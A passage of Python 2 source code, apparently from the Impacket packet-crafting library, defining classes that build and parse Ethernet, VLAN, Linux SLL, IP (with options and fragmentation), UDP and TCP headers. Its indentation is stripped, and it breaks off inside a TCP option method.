packet_printable = filter(lambda c: c not in string.whitespace, string.printable) + ' '
ethertype = None
protocol = None
def __init__(self, length = None):
PacketBuffer.__init__(self, length)
self.auto_checksum = 1
def get_data_as_string(self):
"Returns all data from children of this header as string"
if self.child():
return self.child().get_packet()
else:
return None
def get_packet(self):
"""Returns the raw representation of this packet and its
children as a string. The output from this method is a packet
ready to be transmitted over the wire.
"""
self.calculate_checksum()
data = self.get_data_as_string()
if data:
return self.get_buffer_as_string() + data
else:
return self.get_buffer_as_string()
def get_size(self):
"Return the size of this header and all of it's children"
tmp_value = self.get_header_size()
if self.child():
tmp_value = tmp_value + self.child().get_size()
return tmp_value
def calculate_checksum(self):
"Calculate and set the checksum for this header"
pass
def get_pseudo_header(self):
"Pseudo headers can be used to limit over what content will the checksums be calculated."
# default implementation returns empty array
return array.array('B')
def load_header(self, aBuffer):
"Properly set the state of this instance to reflect that of the raw packet passed as argument."
self.set_bytes_from_string(aBuffer)
hdr_len = self.get_header_size()
if(len(aBuffer) < hdr_len): #we must do something like this
diff = hdr_len - len(aBuffer)
for i in range(0, diff):
aBuffer += '\x00'
self.set_bytes_from_string(aBuffer[:hdr_len])
def get_header_size(self):
"Return the size of this header, that is, not counting neither the size of the children nor of the parents."
raise RuntimeError("Method %s.get_header_size must be overridden." % self.__class__)
def list_as_hex(self, aList):
if len(aList):
ltmp = []
line = []
count = 0
for byte in aList:
if not (count % 2):
if (count % 16):
ltmp.append(' ')
else:
ltmp.append(' '*4)
ltmp.append(string.join(line, ''))
ltmp.append('\n')
line = []
if chr(byte) in Header.packet_printable:
line.append(chr(byte))
else:
line.append('.')
ltmp.append('%.2x' % byte)
count += 1
if (count%16):
left = 16 - (count%16)
ltmp.append(' ' * (4+(left / 2) + (left*2)))
ltmp.append(string.join(line, ''))
ltmp.append('\n')
return ltmp
else:
return []
def __str__(self):
ltmp = self.list_as_hex(self.get_bytes().tolist())
if self.child():
ltmp.append(['\n', str(self.child())])
if len(ltmp)>0:
return string.join(ltmp, '')
else:
return ''
class Data(Header):
"""This packet type can hold raw data. It's normally employed to
hold a packet's innermost layer's contents in those cases for
which the protocol details are unknown, and there's a copy of a
valid packet available.
For instance, if all that's known about a certain protocol is that
a UDP packet with its contents set to "HELLO" initiate a new
session, creating such packet is as simple as in the following code
fragment:
packet = UDP()
packet.contains('HELLO')
"""
def __init__(self, aBuffer = None):
Header.__init__(self)
if aBuffer:
self.set_data(aBuffer)
def set_data(self, data):
self.set_bytes_from_string(data)
def get_size(self):
return len(self.get_bytes())
class EthernetTag(PacketBuffer):
"""Represents a VLAN header specified in IEEE 802.1Q and 802.1ad.
Provides methods for convenient manipulation with header fields."""
def __init__(self, value=0x81000000):
PacketBuffer.__init__(self, 4)
self.set_long(0, value)
def get_tpid(self):
"""Returns Tag Protocol Identifier"""
return self.get_word(0)
def set_tpid(self, value):
"""Sets Tag Protocol Identifier"""
return self.set_word(0, value)
def get_pcp(self):
"""Returns Priority Code Point"""
return (self.get_byte(2) & 0xE0) >> 5
def set_pcp(self, value):
"""Sets Priority Code Point"""
orig_value = self.get_byte(2)
self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5))
def get_dei(self):
"""Returns Drop Eligible Indicator"""
return (self.get_byte(2) & 0x10) >> 4
def set_dei(self, value):
"""Sets Drop Eligible Indicator"""
orig_value = self.get_byte(2)
self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF)
def get_vid(self):
"""Returns VLAN Identifier"""
return self.get_word(2) & 0x0FFF
def set_vid(self, value):
"""Sets VLAN Identifier"""
orig_value = self.get_word(2)
self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF))
def __str__(self):
priorities = (
'Best Effort',
'Background',
'Excellent Effort',
'Critical Applications',
'Video, < 100 ms latency and jitter',
'Voice, < 10 ms latency and jitter',
'Internetwork Control',
'Network Control')
pcp = self.get_pcp()
return '\n'.join((
'802.1Q header: 0x{0:08X}'.format(self.get_long(0)),
'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]),
'Drop Eligible Indicator: {0}'.format(self.get_dei()),
'VLAN Identifier: {0}'.format(self.get_vid())))
class Ethernet(Header):
def __init__(self, aBuffer = None):
Header.__init__(self, 14)
self.tag_cnt = 0
if(aBuffer):
self.load_header(aBuffer)
def set_ether_type(self, aValue):
"Set ethernet data type field to 'aValue'"
self.set_word(12 + 4*self.tag_cnt, aValue)
def get_ether_type(self):
"Return ethernet data type field"
return self.get_word(12 + 4*self.tag_cnt)
def get_tag(self, index):
"""Returns an EthernetTag initialized from index-th VLAN tag.
The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame.
It is possible to use negative indexes as well."""
index = self.__validate_tag_index(index)
return EthernetTag(self.get_long(12+4*index))
def set_tag(self, index, tag):
"""Sets the index-th VLAN tag to contents of an EthernetTag object.
The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame.
It is possible to use negative indexes as well."""
index = self.__validate_tag_index(index)
pos = 12 + 4*index
for i,val in enumerate(tag.get_bytes()):
self.set_byte(pos+i, val)
def push_tag(self, tag, index=0):
"""Inserts contents of an EthernetTag object before the index-th VLAN tag.
Index defaults to 0 (the top of the stack)."""
if index < 0:
index += self.tag_cnt
pos = 12 + 4*max(0, min(index, self.tag_cnt))
data = self.get_bytes()
data[pos:pos] = tag.get_bytes()
self.set_bytes(data)
self.tag_cnt += 1
def pop_tag(self, index=0):
"""Removes the index-th VLAN tag and returns it as an EthernetTag object.
Index defaults to 0 (the top of the stack)."""
index = self.__validate_tag_index(index)
pos = 12 + 4*index
tag = self.get_long(pos)
data = self.get_bytes()
del data[pos:pos+4]
self.set_bytes(data)
self.tag_cnt -= 1
return EthernetTag(tag)
def load_header(self, aBuffer):
self.tag_cnt = 0
while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in ('\x81\x00', '\x88\xa8', '\x91\x00'):
self.tag_cnt += 1
hdr_len = self.get_header_size()
diff = hdr_len - len(aBuffer)
if diff > 0:
aBuffer += '\x00'*diff
self.set_bytes_from_string(aBuffer[:hdr_len])
def get_header_size(self):
"Return size of Ethernet header"
return 14 + 4*self.tag_cnt
def get_packet(self):
if self.child():
try:
self.set_ether_type(self.child().ethertype)
except:
" an Ethernet packet may have a Data() "
pass
return Header.get_packet(self)
def get_ether_dhost(self):
"Return 48 bit destination ethernet address as a 6 byte array"
return self.get_bytes()[0:6]
def set_ether_dhost(self, aValue):
"Set destination ethernet address from 6 byte array 'aValue'"
for i in range(0, 6):
self.set_byte(i, aValue[i])
def get_ether_shost(self):
"Return 48 bit source ethernet address as a 6 byte array"
return self.get_bytes()[6:12]
def set_ether_shost(self, aValue):
"Set source ethernet address from 6 byte array 'aValue'"
for i in range(0, 6):
self.set_byte(i + 6, aValue[i])
@staticmethod
def as_eth_addr(anArray):
tmp_list = map(lambda x: x > 15 and '%x'%x or '0%x'%x, anArray)
return '' + reduce(lambda x, y: x+':'+y, tmp_list)
def __str__(self):
tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> '
tmp_str += self.as_eth_addr(self.get_ether_dhost())
if self.child():
tmp_str += '\n' + str( self.child())
return tmp_str
def __validate_tag_index(self, index):
"""Adjusts negative indices to their absolute equivalents.
Raises IndexError when out of range <0, self.tag_cnt-1>."""
if index < 0:
index += self.tag_cnt
if index < 0 or index >= self.tag_cnt:
raise IndexError("Tag index out of range")
return index
# Linux "cooked" capture encapsulation.
# Used, for instance, for packets returned by the "any" interface.
class LinuxSLL(Header):
type_descriptions = [
"sent to us by somebody else",
"broadcast by somebody else",
"multicast by somebody else",
"sent to somebody else to somebody else",
"sent by us",
]
def __init__(self, aBuffer = None):
Header.__init__(self, 16)
if (aBuffer):
self.load_header(aBuffer)
def set_type(self, type):
"Sets the packet type field to type"
self.set_word(0, type)
def get_type(self):
"Returns the packet type field"
return self.get_word(0)
def set_arphdr(self, value):
"Sets the ARPHDR value for the link layer device type"
self.set_word(2, type)
def get_arphdr(self):
"Returns the ARPHDR value for the link layer device type"
return self.get_word(2)
def set_addr_len(self, len):
"Sets the length of the sender's address field to len"
self.set_word(4, len)
def get_addr_len(self):
"Returns the length of the sender's address field"
return self.get_word(4)
def set_addr(self, addr):
"Sets the sender's address field to addr. Addr must be at most 8-byte long."
if (len(addr) < 8):
addr += '\0' * (8 - len(addr))
self.get_bytes()[6:14] = addr
def get_addr(self):
"Returns the sender's address field"
return self.get_bytes()[6:14].tostring()
def set_ether_type(self, aValue):
"Set ethernet data type field to 'aValue'"
self.set_word(14, aValue)
def get_ether_type(self):
"Return ethernet data type field"
return self.get_word(14)
def get_header_size(self):
"Return size of packet header"
return 16
def get_packet(self):
if self.child():
self.set_ether_type(self.child().ethertype)
return Header.get_packet(self)
def get_type_desc(self):
type = self.get_type()
if type < len(LinuxSLL.type_descriptions):
return LinuxSLL.type_descriptions[type]
else:
return "Unknown"
def __str__(self):
ss = []
alen = self.get_addr_len()
addr = hexlify(self.get_addr()[0:alen])
ss.append("Linux SLL: addr=%s type=`%s'" % (addr, self.get_type_desc()))
if self.child():
ss.append(str(self.child()))
return '\n'.join(ss)
class IP(Header):
ethertype = 0x800
def __init__(self, aBuffer = None):
Header.__init__(self, 20)
self.set_ip_v(4)
self.set_ip_hl(5)
self.set_ip_ttl(255)
self.__option_list = []
if(aBuffer):
# When decoding, checksum shouldn't be modified
self.auto_checksum = 0
self.load_header(aBuffer)
if sys.platform.count('bsd'):
self.is_BSD = True
else:
self.is_BSD = False
def get_packet(self):
# set protocol
if self.get_ip_p() == 0 and self.child():
self.set_ip_p(self.child().protocol)
# set total length
if self.get_ip_len() == 0:
self.set_ip_len(self.get_size())
child_data = self.get_data_as_string();
if self.auto_checksum:
self.reset_ip_sum()
my_bytes = self.get_bytes()
for op in self.__option_list:
my_bytes.extend(op.get_bytes())
# Pad to a multiple of 4 bytes
num_pad = (4 - (len(my_bytes) % 4)) % 4
if num_pad:
my_bytes.fromstring("\0"* num_pad)
# only change ip_hl value if options are present
if len(self.__option_list):
self.set_ip_hl(len(my_bytes) / 4)
# set the checksum if the user hasn't modified it
if self.auto_checksum:
self.set_ip_sum(self.compute_checksum(my_bytes))
if child_data == None:
return my_bytes.tostring()
else:
return my_bytes.tostring() + child_data
# def calculate_checksum(self, buffer = None):
# tmp_value = self.get_ip_sum()
# if self.auto_checksum and (not tmp_value):
# if buffer:
# tmp_bytes = buffer
# else:
# tmp_bytes = self.bytes[0:self.get_header_size()]
#
# self.set_ip_sum(self.compute_checksum(tmp_bytes))
def get_pseudo_header(self):
pseudo_buf = array.array("B")
pseudo_buf.extend(self.get_bytes()[12:20])
pseudo_buf.fromlist([0])
pseudo_buf.extend(self.get_bytes()[9:10])
tmp_size = self.child().get_size()
size_str = struct.pack("!H", tmp_size)
pseudo_buf.fromstring(size_str)
return pseudo_buf
def add_option(self, option):
self.__option_list.append(option)
sum = 0
for op in self.__option_list:
sum += op.get_len()
if sum > 40:
raise ImpactPacketException, "Options overflowed in IP packet with length: %d" % sum
def get_ip_v(self):
n = self.get_byte(0)
return (n >> 4)
def set_ip_v(self, value):
n = self.get_byte(0)
version = value & 0xF
n = n & 0xF
n = n | (version << 4)
self.set_byte(0, n)
def get_ip_hl(self):
n = self.get_byte(0)
return (n & 0xF)
def set_ip_hl(self, value):
n = self.get_byte(0)
len = value & 0xF
n = n & 0xF0
n = (n | len)
self.set_byte(0, n)
def get_ip_tos(self):
return self.get_byte(1)
def set_ip_tos(self,value):
self.set_byte(1, value)
def get_ip_len(self):
if self.is_BSD:
return self.get_word(2, order = '=')
else:
return self.get_word(2)
def set_ip_len(self, value):
if self.is_BSD:
self.set_word(2, value, order = '=')
else:
self.set_word(2, value)
def get_ip_id(self):
return self.get_word(4)
def set_ip_id(self, value):
return self.set_word(4, value)
def get_ip_off(self):
if self.is_BSD:
return self.get_word(6, order = '=')
else:
return self.get_word(6)
def set_ip_off(self, aValue):
if self.is_BSD:
self.set_word(6, aValue, order = '=')
else:
self.set_word(6, aValue)
def get_ip_offmask(self):
return self.get_ip_off() & 0x1FFF
def set_ip_offmask(self, aValue):
tmp_value = self.get_ip_off() & 0xD000
tmp_value |= aValue
self.set_ip_off(tmp_value)
def get_ip_rf(self):
return self.get_ip_off() & 0x8000
def set_ip_rf(self, aValue):
tmp_value = self.get_ip_off()
if aValue:
tmp_value |= 0x8000
else:
my_not = 0xFFFF ^ 0x8000
tmp_value &= my_not
self.set_ip_off(tmp_value)
def get_ip_df(self):
return self.get_ip_off() & 0x4000
def set_ip_df(self, aValue):
tmp_value = self.get_ip_off()
if aValue:
tmp_value |= 0x4000
else:
my_not = 0xFFFF ^ 0x4000
tmp_value &= my_not
self.set_ip_off(tmp_value)
def get_ip_mf(self):
return self.get_ip_off() & 0x2000
def set_ip_mf(self, aValue):
tmp_value = self.get_ip_off()
if aValue:
tmp_value |= 0x2000
else:
my_not = 0xFFFF ^ 0x2000
tmp_value &= my_not
self.set_ip_off(tmp_value)
def fragment_by_list(self, aList):
if self.child():
proto = self.child().protocol
else:
proto = 0
child_data = self.get_data_as_string()
if not child_data:
return [self]
ip_header_bytes = self.get_bytes()
current_offset = 0
fragment_list = []
for frag_size in aList:
ip = IP()
ip.set_bytes(ip_header_bytes) # copy of original header
ip.set_ip_p(proto)
if frag_size % 8: # round this fragment size up to next multiple of 8
frag_size += 8 - (frag_size % 8)
ip.set_ip_offmask(current_offset / 8)
current_offset += frag_size
data = Data(child_data[:frag_size])
child_data = child_data[frag_size:]
ip.set_ip_len(20 + data.get_size())
ip.contains(data)
if child_data:
ip.set_ip_mf(1)
fragment_list.append(ip)
else: # no more data bytes left to add to fragments
ip.set_ip_mf(0)
fragment_list.append(ip)
return fragment_list
if child_data: # any remaining data?
# create a fragment containing all of the remaining child_data
ip = IP()
ip.set_bytes(ip_header_bytes)
ip.set_ip_offmask(current_offset)
ip.set_ip_len(20 + len(child_data))
data = Data(child_data)
ip.contains(data)
fragment_list.append(ip)
return fragment_list
def fragment_by_size(self, aSize):
data_len = len(self.get_data_as_string())
num_frags = data_len / aSize
if data_len % aSize:
num_frags += 1
size_list = []
for i in range(0, num_frags):
size_list.append(aSize)
return self.fragment_by_list(size_list)
def get_ip_ttl(self):
return self.get_byte(8)
def set_ip_ttl(self, value):
self.set_byte(8, value)
def get_ip_p(self):
return self.get_byte(9)
def set_ip_p(self, value):
self.set_byte(9, value)
def get_ip_sum(self):
return self.get_word(10)
def set_ip_sum(self, value):
self.auto_checksum = 0
self.set_word(10, value)
def reset_ip_sum(self):
self.set_ip_sum(0x0000)
self.auto_checksum = 1
def get_ip_src(self):
return self.get_ip_address(12)
def set_ip_src(self, value):
self.set_ip_address(12, value)
def get_ip_dst(self):
return self.get_ip_address(16)
def set_ip_dst(self, value):
self.set_ip_address(16, value)
def get_header_size(self):
op_len = 0
for op in self.__option_list:
op_len += op.get_len()
num_pad = (4 - (op_len % 4)) % 4
return 20 + op_len + num_pad
def load_header(self, aBuffer):
self.set_bytes_from_string(aBuffer[:20])
opt_left = (self.get_ip_hl() - 5) * 4
opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)])
if len(opt_bytes) != opt_left:
raise ImpactPacketException, "Cannot load options from truncated packet"
while opt_left:
op_type = opt_bytes[0]
if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP:
new_option = IPOption(op_type)
op_len = 1
else:
op_len = opt_bytes[1]
if op_len > len(opt_bytes):
raise ImpactPacketException, "IP Option length is too high"
new_option = IPOption(op_type, op_len)
new_option.set_bytes(opt_bytes[:op_len])
opt_bytes = opt_bytes[op_len:]
opt_left -= op_len
self.add_option(new_option)
if op_type == IPOption.IPOPT_EOL:
break
def __str__(self):
flags = ' '
if self.get_ip_df(): flags += 'DF '
if self.get_ip_mf(): flags += 'MF '
if self.get_ip_rf(): flags += 'RF '
tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst())
for op in self.__option_list:
tmp_str += '\n' + str(op)
if self.child():
tmp_str += '\n' + str(self.child())
return tmp_str
class IPOption(PacketBuffer):
IPOPT_EOL = 0
IPOPT_NOP = 1
IPOPT_RR = 7
IPOPT_TS = 68
IPOPT_LSRR = 131
IPOPT_SSRR = 137
def __init__(self, opcode = 0, size = None):
if size and (size < 3 or size > 40):
raise ImpactPacketException, "IP Options must have a size between 3 and 40 bytes"
if(opcode == IPOption.IPOPT_EOL):
PacketBuffer.__init__(self, 1)
self.set_code(IPOption.IPOPT_EOL)
elif(opcode == IPOption.IPOPT_NOP):
PacketBuffer.__init__(self, 1)
self.set_code(IPOption.IPOPT_NOP)
elif(opcode == IPOption.IPOPT_RR):
if not size:
size = 39
PacketBuffer.__init__(self, size)
self.set_code(IPOption.IPOPT_RR)
self.set_len(size)
self.set_ptr(4)
elif(opcode == IPOption.IPOPT_LSRR):
if not size:
size = 39
PacketBuffer.__init__(self, size)
self.set_code(IPOption.IPOPT_LSRR)
self.set_len(size)
self.set_ptr(4)
elif(opcode == IPOption.IPOPT_SSRR):
if not size:
size = 39
PacketBuffer.__init__(self, size)
self.set_code(IPOption.IPOPT_SSRR)
self.set_len(size)
self.set_ptr(4)
elif(opcode == IPOption.IPOPT_TS):
if not size:
size = 40
PacketBuffer.__init__(self, size)
self.set_code(IPOption.IPOPT_TS)
self.set_len(size)
self.set_ptr(5)
self.set_flags(0)
else:
if not size:
raise ImpactPacketException, "Size required for this type"
PacketBuffer.__init__(self,size)
self.set_code(opcode)
self.set_len(size)
def append_ip(self, ip):
op = self.get_code()
if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == IPOption.IPOPT_TS):
raise ImpactPacketException, "append_ip() not support for option type %d" % self.opt_type
p = self.get_ptr()
if not p:
raise ImpactPacketException, "append_ip() failed, option ptr uninitialized"
if (p + 4) > self.get_len():
raise ImpactPacketException, "append_ip() would overflow option"
self.set_ip_address(p - 1, ip)
p += 4
self.set_ptr(p)
def set_code(self, value):
self.set_byte(0, value)
def get_code(self):
return self.get_byte(0)
def set_flags(self, flags):
if not (self.get_code() == IPOption.IPOPT_TS):
raise ImpactPacketException, "Operation only supported on Timestamp option"
self.set_byte(3, flags)
def get_flags(self, flags):
if not (self.get_code() == IPOption.IPOPT_TS):
raise ImpactPacketException, "Operation only supported on Timestamp option"
return self.get_byte(3)
def set_len(self, len):
self.set_byte(1, len)
def set_ptr(self, ptr):
self.set_byte(2, ptr)
def get_ptr(self):
return self.get_byte(2)
def get_len(self):
return len(self.get_bytes())
def __str__(self):
map = {IPOption.IPOPT_EOL : "End of List ",
IPOption.IPOPT_NOP : "No Operation ",
IPOption.IPOPT_RR : "Record Route ",
IPOption.IPOPT_TS : "Timestamp ",
IPOption.IPOPT_LSRR : "Loose Source Route ",
IPOption.IPOPT_SSRR : "Strict Source Route "}
tmp_str = "\tIP Option: "
op = self.get_code()
if map.has_key(op):
tmp_str += map[op]
else:
tmp_str += "Code: %d " % op
if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR:
tmp_str += self.print_addresses()
return tmp_str
def print_addresses(self):
p = 3
tmp_str = "["
if self.get_len() >= 7: # at least one complete IP address
while 1:
if p + 1 == self.get_ptr():
tmp_str += "#"
tmp_str += self.get_ip_address(p)
p += 4
if p >= self.get_len():
break
else:
tmp_str += ", "
tmp_str += "] "
if self.get_ptr() % 4: # ptr field should be a multiple of 4
tmp_str += "nonsense ptr field: %d " % self.get_ptr()
return tmp_str
class UDP(Header):
protocol = 17
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if(aBuffer):
self.load_header(aBuffer)
def get_uh_sport(self):
return self.get_word(0)
def set_uh_sport(self, value):
self.set_word(0, value)
def get_uh_dport(self):
return self.get_word(2)
def set_uh_dport(self, value):
self.set_word(2, value)
def get_uh_ulen(self):
return self.get_word(4)
def set_uh_ulen(self, value):
self.set_word(4, value)
def get_uh_sum(self):
return self.get_word(6)
def set_uh_sum(self, value):
self.set_word(6, value)
self.auto_checksum = 0
def calculate_checksum(self):
if self.auto_checksum and (not self.get_uh_sum()):
# if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing
# and won't meddle with the checksum or throw an exception
if not self.parent():
return
buffer = self.parent().get_pseudo_header()
buffer += self.get_bytes()
data = self.get_data_as_string()
if(data):
buffer.fromstring(data)
self.set_uh_sum(self.compute_checksum(buffer))
def get_header_size(self):
return 8
def __str__(self):
tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport())
if self.child():
tmp_str += '\n' + str(self.child())
return tmp_str
def get_packet(self):
# set total length
if(self.get_uh_ulen() == 0):
self.set_uh_ulen(self.get_size())
return Header.get_packet(self)
class TCP(Header):
protocol = 6
TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags
def __init__(self, aBuffer = None):
Header.__init__(self, 20)
self.set_th_off(5)
self.__option_list = []
if aBuffer:
self.load_header(aBuffer)
def add_option(self, option):
self.__option_list.append(option)
sum = 0
for op in self.__option_list:
sum += op.get_size()
if sum > 40:
raise ImpactPacketException, "Cannot add TCP option, would overflow option space"
def get_options(self):
return self.__option_list
def swapSourceAndDestination(self):
oldSource = self.get_th_sport()
self.set_th_sport(self.get_th_dport())
self.set_th_dport(oldSource)
#
# Header field accessors
#
def set_th_sport(self, aValue):
self.set_word(0, aValue)
def get_th_sport(self):
return self.get_word(0)
def get_th_dport(self):
return self.get_word(2)
def set_th_dport(self, aValue):
self.set_word(2, aValue)
def get_th_seq(self):
return self.get_long(4)
def set_th_seq(self, aValue):
self.set_long(4, aValue)
def get_th_ack(self):
return self.get_long(8)
def set_th_ack(self, aValue):
self.set_long(8, aValue)
def get_th_flags(self):
return self.get_word(12) & self.TCP_FLAGS_MASK
def set_th_flags(self, aValue):
masked = self.get_word(12) & (~self.TCP_FLAGS_MASK)
nb = masked | (aValue & self.TCP_FLAGS_MASK)
return self.set_word(12, nb, ">")
def get_th_win(self):
return self.get_word(14)
def set_th_win(self, aValue):
self.set_word(14, aValue)
def set_th_sum(self, aValue):
self.set_word(16, aValue)
self.auto_checksum = 0
def get_th_sum(self):
return self.get_word(16)
def get_th_urp(self):
return self.get_word(18)
def set_th_urp(self, aValue):
return self.set_word(18, aValue)
# Flag accessors
def get_th_reserved(self):
tmp_value = self.get_byte(12) & 0x0f
return tmp_value
def get_th_off(self):
tmp_value = self.get_byte(12) >> 4
return tmp_value
def set_th_off(self, aValue):
mask = 0xF0
masked = self.get_byte(12) & (~mask)
nb = masked | ( (aValue << 4) & mask)
return self.set_byte(12, nb)
def get_CWR(self):
return self.get_flag(128)
def set_CWR(self):
return self.set_flags(128)
def reset_CWR(self):
return self.reset_flags(128)
def get_ECE(self):
return self.get_flag(64)
def set_ECE(self):
return self.set_flags(64)
def reset_ECE(self):
return self.reset_flags(64)
def get_URG(self):
return self.get_flag(32)
def set_URG(self):
return self.set_flags(32)
def reset_URG(self):
return self.reset_flags(32)
def get_ACK(self):
return self.get_flag(16)
def set_ACK(self):
return self.set_flags(16)
def reset_ACK(self):
return self.reset_flags(16)
def get_PSH(self):
return self.get_flag(8)
def set_PSH(self):
return self.set_flags(8)
def reset_PSH(self):
return self.reset_flags(8)
def get_RST(self):
return self.get_flag(4)
def set_RST(self):
return self.set_flags(4)
def reset_RST(self):
return self.reset_flags(4)
def get_SYN(self):
return self.get_flag(2)
def set_SYN(self):
return self.set_flags(2)
def reset_SYN(self):
return self.reset_flags(2)
def get_FIN(self):
return self.get_flag(1)
def set_FIN(self):
return self.set_flags(1)
def reset_FIN(self):
return self.reset_flags(1)
# Overridden Methods
def get_header_size(self):
return 20 + len(self.get_padded_options())
def calculate_checksum(self):
if not self.auto_checksum or not self.parent():
return
self.set_th_sum(0)
buffer = self.parent().get_pseudo_header()
buffer += self.get_bytes()
buffer += self.get_padded_options()
data = self.get_data_as_string()
if(data):
buffer.fromstring(data)
res = self.compute_checksum(buffer)
self.set_th_sum(self.compute_checksum(buffer))
def get_packet(self):
"Returns entire packet including child data as a string. This is the function used to extract the final packet"
# only change th_off value if options are present
if len(self.__option_list):
self.set_th_off(self.get_header_size() / 4)
self.calculate_checksum()
bytes = self.get_bytes() + self.get_padded_options()
data = self.get_data_as_string()
if data:
return bytes.tostring() + data
else:
return bytes.tostring()
def load_header(self, aBuffer):
self.set_bytes_from_string(aBuffer[:20])
opt_left = (self.get_th_off() - 5) * 4
opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)])
if len(opt_bytes) != opt_left:
raise ImpactPacketException, "Cannot load options from truncated packet"
while opt_left:
op_kind = opt_bytes[0]
if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP:
new_option = TCPOption(op_kind)
op_len = 1
else:
op_len = opt_bytes[1]
if op_len > len(opt_bytes):
raise ImpactPacketException, "TCP Option length is too high"
if op_len < 2:
raise ImpactPacketException, "TCP Option length is too low"
new_option = TCPOption(op_kind)
new_option.set_bytes(opt_bytes[:op_len])
opt_bytes = opt_bytes[op_len:]
opt_left -= op_len
self.add_option(new_option)
if op_kind == TCPOption.TCPOPT_EOL:
break
#
# Private
#
def get_flag(self, bit):
if self.get_th_flags() & bit:
return 1
else:
return 0
def reset_flags(self, aValue):
tmp_value = self.get_th_flags() & (~aValue)
return self.set_th_flags(tmp_value)
def set_flags(self, aValue):
tmp_value = self.get_th_flags() | aValue
return self.set_th_flags(tmp_value)
def get_padded_options(self):
"Return an array containing all options padded to a 4 byte boundry"
op_buf = array.array('B')
for op in self.__option_list:
op_buf += op.get_bytes()
num_pad = (4 - (len(op_buf) % 4)) % 4
if num_pad:
op_buf.fromstring("\0" * num_pad)
return op_buf
def __str__(self):
tmp_str = 'TCP '
if self.get_ECE():
tmp_str += 'ece '
if self.get_CWR():
tmp_str += 'cwr '
if self.get_ACK():
tmp_str += 'ack '
if self.get_FIN():
tmp_str += 'fin '
if self.get_PSH():
tmp_str += 'push '
if self.get_RST():
tmp_str += 'rst '
if self.get_SYN():
tmp_str += 'syn '
if self.get_URG():
tmp_str += 'urg '
tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport())
for op in self.__option_list:
tmp_str += '\n' + str(op)
if self.child():
tmp_str += '\n' + str(self.child())
return tmp_str
class TCPOption(PacketBuffer):
TCPOPT_EOL = 0
TCPOPT_NOP = 1
TCPOPT_MAXSEG = 2
TCPOPT_WINDOW = 3
TCPOPT_SACK_PERMITTED = 4
TCPOPT_SACK = 5
TCPOPT_TIMESTAMP = 8
TCPOPT_SIGNATURE = 19
def __init__(self, kind, data = None):
if kind == TCPOption.TCPOPT_EOL:
PacketBuffer.__init__(self, 1)
self.set_kind(TCPOption.TCPOPT_EOL)
elif kind == TCPOption.TCPOPT_NOP:
PacketBuffer.__init__(self, 1)
self.set_kind(TCPOption.TCPOPT_NOP)
elif kind == TCPOption.TCPOPT_MAXSEG:
PacketBuffer.__init__(self, 4)
self.set_kind(TCPOption.TCPOPT_MAXSEG)
self.set_len(4)
if data:
self.set_mss(data)
else:
self.set_mss(512)
elif kind == TCPOption.TCPOPT_WINDOW:
PacketBuffer.__init__(self, 3)
self.set_kind(TCPOption.TCPOPT_WINDOW)
self.set_len(3)
if data:
self.set_shift_cnt(data)
else:
self.set_shift_cnt(0)
elif kind == TCPOption.TCPOPT_TIMESTAMP:
PacketBuffer.__init__(self, 10)
self.set_kind(TCPOption.TCPOPT_TIMESTAMP)
self.set_len(10)
if data:
self.set_ts(data)
else:
self.set_ts(0)
elif kind == TCPOption.TCPOPT_SACK_PERMITTED:
PacketBuffer.__init__(self, 2)
self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED)
self.set_len(2)
elif kind == TCPOption.TCPOPT_SACK:
PacketBuffer.__init__(self, 2)
self.set_kind(TCPOption.TCPOPT_SACK)
def set_left_edge(self, aValue):
self.set_long (2, aValue)
def set_right_edge(self, aValue):
self.set_long (6, aValue)
def set_kind(self, kind):
self.set_byte(0, kind)
def get_kind(self):
return self.get_byte(0)
def set_len(self, len):
if self.get_size() < 2:
raise ImpactPacketException, "Cannot set length field on an option having a size smaller than 2 bytes"
self.set_byte(1, len)
def get_len(self):
if self.get_size() < 2:
raise ImpactPacketException, "Cannot retrieve length field from an option having a size smaller than 2 bytes"
return self.get_byte(1)
def get_size(self):
return len(self.get_bytes())
def set_mss(self, len):
if self.get_kind() != TCPOption.TCPOPT_MAXSEG:
raise ImpactPacketException, "Can only set MSS on TCPOPT_MAXSEG option"
self.set_word(2, len)
def get_mss(self):
if self.get_kind() != TCPOption.TCPOPT_MAXSEG:
raise ImpactPacketException, "Can only retrieve MSS from TCPOPT_MAXSEG option"
return self.get_word(2)
def set_shift_cnt(self, cnt):
if self.get_kind() != TCPOption.TCPOPT_WINDOW:
raise ImpactPacketException, "Can only set Shift Count on TCPOPT_WINDOW option"
self.set_byte(2, cnt)
def get_shift_cnt(self):
if self.get_kind() != TCPOption.TCPOPT_WINDOW:
raise ImpactPacketException, "Can only retrieve Shift Count from TCPOPT_WINDOW option"
return self.get_byte(2)
def get_ts(self):
if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
raise ImpactPacketException, "Can only retrieve timestamp from TCPOPT_TIMESTAMP option"
return self.get_long(2)
def set_ts(self, ts):
if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
raise ImpactPacketException, "Can only set timestamp on TCPOPT_TIMESTAMP option"
self.set_long(2, ts)
def get_ts_echo(self):
if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
raise ImpactPacketException, "Can only retrieve timestamp from TCPOPT_TIMESTAMP option"
return self.get_long(6)
def set_ts_echo(self, ts):
